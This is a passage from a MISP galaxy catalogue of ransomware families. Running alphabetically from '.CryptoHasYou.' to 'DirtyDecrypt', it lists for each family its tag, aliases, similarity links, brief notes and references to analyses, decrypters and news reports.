Table 13182. Table References

Links
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168

.CryptoHasYou.

Ransomware

The tag is: *misp-galaxy:ransomware=".CryptoHasYou."*

Table 13183. Table References

Links
http://www.nyxbone.com/malware/CryptoHasYou.html

777

Ransomware

The tag is: *misp-galaxy:ransomware="777"*

777 is also known as:

- Sevleg

Table 13184. Table References

Links
https://decrypter.emsisoft.com/777

7ev3n

Ransomware

The tag is: *misp-galaxy:ransomware="7ev3n"*

7ev3n is also known as:

- 7ev3n-HONE$T

View relationships graph

7ev3n has relationships with:

- similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"

Table 13185. Table References

Links
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be
http://www.nyxbone.com/malware/7ev3n-HONE$T.html

8lock8

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="8lock8"*

Table 13186. Table References

Links
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/

AiraCrop

Ransomware related to TeamXRat

The tag is: *misp-galaxy:ransomware="AiraCrop"*

Table 13187. Table References

Links
https://twitter.com/PolarToffee/status/796079699478900736

Al-Namrood

Ransomware

The tag is: *misp-galaxy:ransomware="Al-Namrood"*

Table 13188. Table References

Links
https://decrypter.emsisoft.com/al-namrood

ALFA Ransomware

Ransomware Made by creators of Cerber

The tag is: *misp-galaxy:ransomware="ALFA Ransomware"*

Table 13189. Table References

Links
http://www.bleepingcomputer.com/news/security/new-alfa-or-alpha-ransomware-from-the-same-devs-as-cerber/
https://news.softpedia.com/news/cerber-devs-create-new-ransomware-called-alfa-506165.shtml

Alma Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alma Ransomware"*

Alma Ransomware is also known as:

- Alma Locker

Table 13190. Table References

Links
https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-4721-ad00-8308fff353b3&placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&portal_id=326665&redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&hsutk=34612af1cd87864cf7162095872571d1&utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&hstc=61627571.34612af1cd87864cf7162095872571d1.1472135921345.1472140656779.1472593507113.3&hssc=61627571.1.1472593507113&hsfp=111432383
https://info.phishlabs.com/blog/alma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter
http://www.bleepingcomputer.com/news/security/new-alma-locker-ransomware-being-distributed-via-the-rig-exploit-kit/

Alpha Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alpha Ransomware"*

Alpha Ransomware is also known as:

- AlphaLocker

View relationships graph

Alpha Ransomware has relationships with:

- similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"

Table 13191. Table References

Links
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip
https://www.bleepingcomputer.com/news/security/decrypted-alpha-ransomware-accepts-itunes-gift-cards-as-payment/
https://twitter.com/malwarebread/status/804714048499621888

AMBA

Ransomware Websites only amba@riseup.net

The tag is: *misp-galaxy:ransomware="AMBA"*

Table 13192. Table References

Links
https://twitter.com/benkow_/status/747813034006020096
https://www.enigmasoftware.com/ambaransomware-removal/

AngleWare

Ransomware

The tag is: *misp-galaxy:ransomware="AngleWare"*

Table 13193. Table References

Links
https://twitter.com/BleepinComputer/status/844531418474708993

Anony

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Anony"*

Anony is also known as:

- ngocanh

Table 13194. Table References

Links
https://twitter.com/struppigel/status/842047409446387714

Apocalypse

Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru

The tag is: *misp-galaxy:ransomware="Apocalypse"*

Apocalypse is also known as:

- Fabiansomeware

View relationships graph

Apocalypse has relationships with:

- similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 13195. Table References

Links
https://decrypter.emsisoft.com/apocalypse
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ApocalypseVM

Ransomware Apocalypse ransomware version which uses VMprotect

The tag is: *misp-galaxy:ransomware="ApocalypseVM"*

Table 13196. Table References

Links
http://decrypter.emsisoft.com/download/apocalypsevm

AutoLocky

Ransomware

The tag is: *misp-galaxy:ransomware="AutoLocky"*

Table 13197. Table References

Links
https://decrypter.emsisoft.com/autolocky

Aw3s0m3Sc0t7

Ransomware

The tag is: *misp-galaxy:ransomware="Aw3s0m3Sc0t7"*

Table 13198. Table References

Links
https://twitter.com/struppigel/status/828902907668000770

BadBlock

Ransomware

The tag is: *misp-galaxy:ransomware="BadBlock"*

Table 13199. Table References

Links
https://decrypter.emsisoft.com/badblock
http://www.nyxbone.com/malware/BadBlock.html
http://www.nyxbone.com/images/articulos/malware/badblock/5.png

BaksoCrypt

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="BaksoCrypt"*

Table 13200. Table References

Links
https://twitter.com/JakubKroustek/status/760482299007922176
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/

Bandarchor

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Bandarchor"*

Bandarchor is also known as:

- Rakhni

View relationships graph

Bandarchor has relationships with:

- similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"

Table 13201. Table References

Links
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/
https://www.bleepingcomputer.com/news/security/new-bandarchor-ransomware-variant-spreads-via-malvertising-on-adult-sites/

Bart

Ransomware Possible affiliations with RockLoader, Locky and Dridex

The tag is: *misp-galaxy:ransomware="Bart"*

Bart is also known as:

- BaCrypt

View relationships graph

Bart has relationships with:

- similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"

Table 13202. Table References

Links
http://now.avg.com/barts-shenanigans-are-no-match-for-avg/
http://phishme.com/rockloader-downloading-new-ransomware-bart/
https://www.proofpoint.com/us/threat-insight/post/New-Bart-Ransomware-from-Threat-Actors-Spreading-Dridex-and-Locky

BitCryptor

Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.

The tag is: *misp-galaxy:ransomware="BitCryptor"*

Table 13203. Table References

Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

BitStak

Ransomware

The tag is: *misp-galaxy:ransomware="BitStak"*

Table 13204. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip
https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html

BlackShades Crypter

Ransomware

The tag is: *misp-galaxy:ransomware="BlackShades Crypter"*

BlackShades Crypter is also known as:

- SilentShade
- BlackShades

Table 13205. Table References

Links
http://nyxbone.com/malware/BlackShades.html
https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html

Blocatto

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Blocatto"*

Table 13206. Table References

Links
http://www.bleepingcomputer.com/forums/t/614456/bloccato-ransomware-bloccato-help-support-leggi-questo-filetxt/

Booyah

Ransomware EXE was replaced to neutralize threat

The tag is: *misp-galaxy:ransomware="Booyah"*

Booyah is also known as:

- Salami

View relationships graph

Booyah has relationships with:

- similar: misp-galaxy:ransomware="MM Locker" with estimative-language:likelihood-probability="likely"

Brazilian

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Brazilian"*

Table 13207. Table References

Links
http://www.nyxbone.com/malware/brazilianRansom.html
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png

Brazilian Globe

Ransomware

The tag is: *misp-galaxy:ransomware="Brazilian Globe"*

Table 13208. Table References

Links
https://twitter.com/JakubKroustek/status/821831437884211201

BrLock

Ransomware

The tag is: *misp-galaxy:ransomware="BrLock"*

Table 13209. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

Browlock

Ransomware no local encryption, browser only

The tag is: *misp-galaxy:ransomware="Browlock"*

BTCWare Related to / new version of CryptXXX

Ransomware

The tag is: *misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"*

Table 13210. Table References

Links
https://twitter.com/malwrhunterteam/status/845199679340011520

Bucbi

Ransomware no file name change, no extension

The tag is: *misp-galaxy:ransomware="Bucbi"*

Table 13211. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/
https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html

BuyUnlockCode

Ransomware Does not delete Shadow Copies

The tag is: *misp-galaxy:ransomware="BuyUnlockCode"*

Table 13212. Table References

Links
https://id-ransomware.blogspot.com/2016/05/buyunlockcode-ransomware-rsa-1024.html

Central Security Treatment Organization

Ransomware

The tag is: *misp-galaxy:ransomware="Central Security Treatment Organization"*

View relationships graph

Central Security Treatment Organization has relationships with:

- similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 13213. Table References

Links
http://www.bleepingcomputer.com/forums/t/625820/central-security-treatment-organization-ransomware-help-topic-cry-extension/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

Cerber

Ransomware

The tag is: *misp-galaxy:ransomware="Cerber"*

Cerber is also known as:

- CRBR ENCRYPTOR

View relationships graph

Cerber has relationships with:

- similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"

Table 13214. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/cerber-ransomware-new-but-mature/

https://community.rsa.com/community/products/netwitness/blog/2016/11/04/the-evolution-of-cerber-v410
https://www.bleepingcomputer.com/news/security/cerber-renames-itself-as-crbr-encryptor-to-be-a-pita/

Chimera

Ransomware

The tag is: *misp-galaxy:ransomware="Chimera"*

Chimera is also known as:

- Quimera Crypter
- Pashka

Table 13215. Table References

Links
http://www.bleepingcomputer.com/news/security/chimera-ransomware-decryption-keys-released-by-petya-devs/
https://blog.malwarebytes.org/threat-analysis/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild/

Clock

Ransomware Does not encrypt anything

The tag is: *misp-galaxy:ransomware="Clock"*

Table 13216. Table References

Links
https://twitter.com/JakubKroustek/status/794956809866018816

CoinVault

Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!

The tag is: *misp-galaxy:ransomware="CoinVault"*

Table 13217. Table References

Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

Coverton

Ransomware

The tag is: *misp-galaxy:ransomware="Coverton"*

Table 13218. Table References

Links
http://www.bleepingcomputer.com/news/security/paying-the-coverton-ransomware-may-not-get-your-data-back/
https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html

Cryaki

Ransomware

The tag is: *misp-galaxy:ransomware="Cryaki"*

Table 13219. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

Crybola

Ransomware

The tag is: *misp-galaxy:ransomware="Crybola"*

Table 13220. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

CryFile

Ransomware

The tag is: *misp-galaxy:ransomware="CryFile"*

Table 13221. Table References

Links
SHTODELATVAM.txt[SHTODELATVAM.txt]
Instructionaga.txt[Instructionaga.txt]
https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html

CryLocker

Ransomware Identifies victim locations w/Google Maps API

The tag is: *misp-galaxy:ransomware="CryLocker"*

CryLocker is also known as:

- Cry
- CSTO
- Central Security Treatment Organization

View relationships graph

CryLocker has relationships with:

- similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 13222. Table References

Links
http://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

CrypMIC

Ransomware CryptXXX clone/spinoff

The tag is: *misp-galaxy:ransomware="CrypMIC"*

Table 13223. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html

Crypren

Ransomware

The tag is: *misp-galaxy:ransomware="Crypren"*

Table 13224. Table References

Links
https://github.com/pekeinfo/DecryptCrypren
http://www.nyxbone.com/malware/Crypren.html
http://www.nyxbone.com/images/articulos/malware/crypren/0.png

Crypt38

Ransomware

The tag is: *misp-galaxy:ransomware="Crypt38"*

Table 13225. Table References

Links
https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip
https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption
https://id-ransomware.blogspot.com/2016/06/regist-crypt38-ransomware-aes-1000-15.html

Crypter

Ransomware Does not actually encrypt the files, but simply renames them

The tag is: *misp-galaxy:ransomware="Crypter"*

Table 13226. Table References

Links
https://twitter.com/jiriatvirlab/status/802554159564062722

CryptFIle2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptFIle2"*

CryptFIle2 is also known as:

- Lesli

Table 13227. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptInfinite

Ransomware

The tag is: *misp-galaxy:ransomware="CryptInfinite"*

CryptInfinite is also known as:

- DecryptorMax

Table 13228. Table References

Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptoBit

Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.

The tag is: *misp-galaxy:ransomware="CryptoBit"*

View relationships graph

CryptoBit has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Table 13229. Table References

Links
http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/
http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml
https://id-ransomware.blogspot.com/2016/04/cryptobit-ransomware.html

CryptoDefense

Ransomware no extension change

The tag is: *misp-galaxy:ransomware="CryptoDefense"*

Table 13230. Table References

Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html

CryptoFinancial

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoFinancial"*

CryptoFinancial is also known as:

- Ranscam

View relationships graph

CryptoFinancial has relationships with:

- similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"

Table 13231. Table References

Links
http://blog.talosintel.com/2016/07/ranscam.html
https://nakedsecurity.sophos.com/2016/07/13/ransomware-that-demands-money-and-gives-you-back-nothing/
https://id-ransomware.blogspot.com/search?q=CryptoFinancial

CryptoFortress

Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB

The tag is: *misp-galaxy:ransomware="CryptoFortress"*

View relationships graph

CryptoFortress has relationships with:

- similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 13232. Table References

Links
https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html

CryptoGraphic Locker

Ransomware Has a GUI. Subvariants: CoinVault BitCryptor

The tag is: *misp-galaxy:ransomware="CryptoGraphic Locker"*

CryptoHost

Ransomware RAR's victim's files has a GUI

The tag is: *misp-galaxy:ransomware="CryptoHost"*

CryptoHost is also known as:

- Manamecrypt
- Telograph
- ROI Locker

View relationships graph

CryptoHost has relationships with:

- similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"

Table 13233. Table References

Links
http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html

CryptoJoker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoJoker"*

View relationships graph

CryptoJoker has relationships with:

- similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-probability="likely"

Table 13234. Table References

Links
https://id-ransomware.blogspot.com/2017/07/cryptojoker-2017-ransomware.html

CryptoLocker

Ransomware no longer relevant

The tag is: *misp-galaxy:ransomware="CryptoLocker"*

View relationships graph

CryptoLocker has relationships with:

- similar: misp-galaxy:malpedia="CryptoLocker" with estimative-language:likelihood-probability="likely"

Table 13235. Table References

Links
https://www.fireeye.com/blog/executive-perspective/2014/08/your-locker-of-information-for-cryptolocker-decryption.html
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/

CryptoLocker 1.0.0

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 1.0.0"*

Table 13236. Table References

Links
https://twitter.com/malwrhunterteam/status/839747940122001408

CryptoLocker 5.1

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 5.1"*

Table 13237. Table References

Links
https://twitter.com/malwrhunterteam/status/782890104947867649

CryptoMix

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix"*

CryptoMix is also known as:

- Zeta

View relationships graph

CryptoMix has relationships with:

- similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Table 13238. Table References

Links
http://www.nyxbone.com/malware/CryptoMix.html
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://twitter.com/JakubKroustek/status/804009831518572544
https://www.bleepingcomputer.com/news/security/new-empty-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/0000-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/xzzx-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/test-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/system-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/mole66-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-backup-cryptomix-ransomware-variant-actively-infecting-users/
https://twitter.com/demonslay335/status/1072227523755470848
https://www.coveware.com/blog/cryptomix-ransomware-exploits-cancer-crowdfunding

https://www.bleepingcomputer.com/news/security/cryptomix-ransomware-exploits-sick-children-to-coerce-payments/

CryptoRansomeware

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRansomeware"*

View relationships graph

CryptoRansomeware has relationships with:

- similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 13239. Table References

Links
https://twitter.com/malwrhunterteam/status/817672617658347521

CryptoRoger

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRoger"*

Table 13240. Table References

Links
http://www.bleepingcomputer.com/news/security/new-ransomware-called-cryptoroger-that-appends-crptrgr-to-encrypted-files/
https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html

CryptoShadow

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShadow"*

Table 13241. Table References

Links
https://twitter.com/struppigel/status/821992610164277248

CryptoShocker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShocker"*

Table 13242. Table References

Links
http://www.bleepingcomputer.com/forums/t/617601/cryptoshocker-ransomware-help-and-support-topic-locked-attentionurl/
https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html

CryptoTorLocker2015

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTorLocker2015"*

Table 13243. Table References

Links
http://www.bleepingcomputer.com/forums/t/565020/new-cryptotorlocker2015-ransomware-discovered-and-easily-decrypted/
https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html

CryptoTrooper

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTrooper"*

Table 13244. Table References

Links
http://news.softpedia.com/news/new-open-source-linux-ransomware-shows-infosec-community-divide-508669.shtml

CryptoWall 1

Ransomware, Infection by Phishing

The tag is: *misp-galaxy:ransomware="CryptoWall 1"*

CryptoWall 2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 2"*

CryptoWall 3

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 3"*

Table 13245. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/
https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/

CryptoWall 4

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 4"*

CryptXXX

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX"*

CryptXXX is also known as:

- CryptProjectXXX

View relationships graph

CryptXXX has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"

Table 13246. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html
https://www.ransomlook.io/group/cryptxxx
https://securelist.com/cryptxxx-unveiled/74731/
https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-cryptxxx-ransomware/

https://blog.malwarebytes.com/threat-spotlight/2016/05/cryptxxx-ransomware-now-steals-more/
https://www.symantec.com/connect/blogs/cryptxxx-ransomware-evolves-v30

CryptXXX 2.0

Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.

The tag is: *misp-galaxy:ransomware="CryptXXX 2.0"*

CryptXXX 2.0 is also known as:

- CryptProjectXXX

View relationships graph

CryptXXX 2.0 has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"

Table 13247. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx2-ransomware-authors-strike-back-against-free-decryption-tool
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.0

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX 3.0"*

CryptXXX 3.0 is also known as:

- UltraDeCrypter
- UltraCrypter

Table 13248. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/news/security/cryptxxx-updated-to-version-3-0-decryptors-no-longer-work/
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive

https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.1

Ransomware StilerX credential stealing

The tag is: *misp-galaxy:ransomware="CryptXXX 3.1"*

Table 13249. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx-ransomware-learns-samba-other-new-tricks-with-version3100
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryPy

Ransomware

The tag is: *misp-galaxy:ransomware="CryPy"*

Table 13250. Table References

Links
http://www.bleepingcomputer.com/news/security/ctb-faker-ransomware-does-a-poor-job-imitating-ctb-locker/
https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html

CTB-Faker

Ransomware

The tag is: *misp-galaxy:ransomware="CTB-Faker"*

CTB-Faker is also known as:

- Citroni

Table 13251. Table References

Links
https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html

CTB-Locker WEB

Ransomware websites only

The tag is: *misp-galaxy:ransomware="CTB-Locker WEB"*

Table 13252. Table References

Links
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/
https://github.com/eyecatchup/Critroni-php
https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html

CuteRansomware

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="CuteRansomware"*

CuteRansomware is also known as:

- my-Little-Ransomware

Table 13253. Table References

Links
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool
https://github.com/aaaddress1/my-Little-Ransomware

Cyber SpLiTTer Vbs

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Cyber SpLiTTer Vbs"*

Cyber SpLiTTer Vbs is also known as:

- CyberSplitter

View relationships graph

Cyber SpLiTTer Vbs has relationships with:

- similar: misp-galaxy:malpedia="CyberSplitter" with estimative-language:likelihood-probability="likely"

Table 13254. Table References

Links
https://twitter.com/struppigel/status/778871886616862720
https://twitter.com/struppigel/status/806758133720698881
https://id-ransomware.blogspot.com/2016/09/cyber-splitter-vbs-ransomware.html

Death Bitches

Ransomware

The tag is: *misp-galaxy:ransomware="Death Bitches"*

Table 13255. Table References

Links
https://twitter.com/JaromirHorejsi/status/815555258478981121

DeCrypt Protect

Ransomware

The tag is: *misp-galaxy:ransomware="DeCrypt Protect"*

Table 13256. Table References

Links
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/

DEDCryptor

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="DEDCryptor"*

Table 13257. Table References

Links
http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/
http://www.nyxbone.com/malware/DEDCryptor.html
https://id-ransomware.blogspot.com/2016/06/dedcryptor-ransomware-aes-256rsa-2.html

Demo

Ransomware only encrypts .jpg files

The tag is: *misp-galaxy:ransomware="Demo"*

Demo is also known as:

- CryptoDemo

Table 13258. Table References

Links

https://twitter.com/struppigel/status/798573300779745281
https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html

DetoxCrypto

Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte

The tag is: *misp-galaxy:ransomware="DetoxCrypto"*

Table 13259. Table References

Links
http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/
https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html

Digisom

Ransomware

The tag is: *misp-galaxy:ransomware="Digisom"*

Table 13260. Table References

Links
https://twitter.com/PolarToffee/status/829727052316160000

DirtyDecrypt

Ransomware

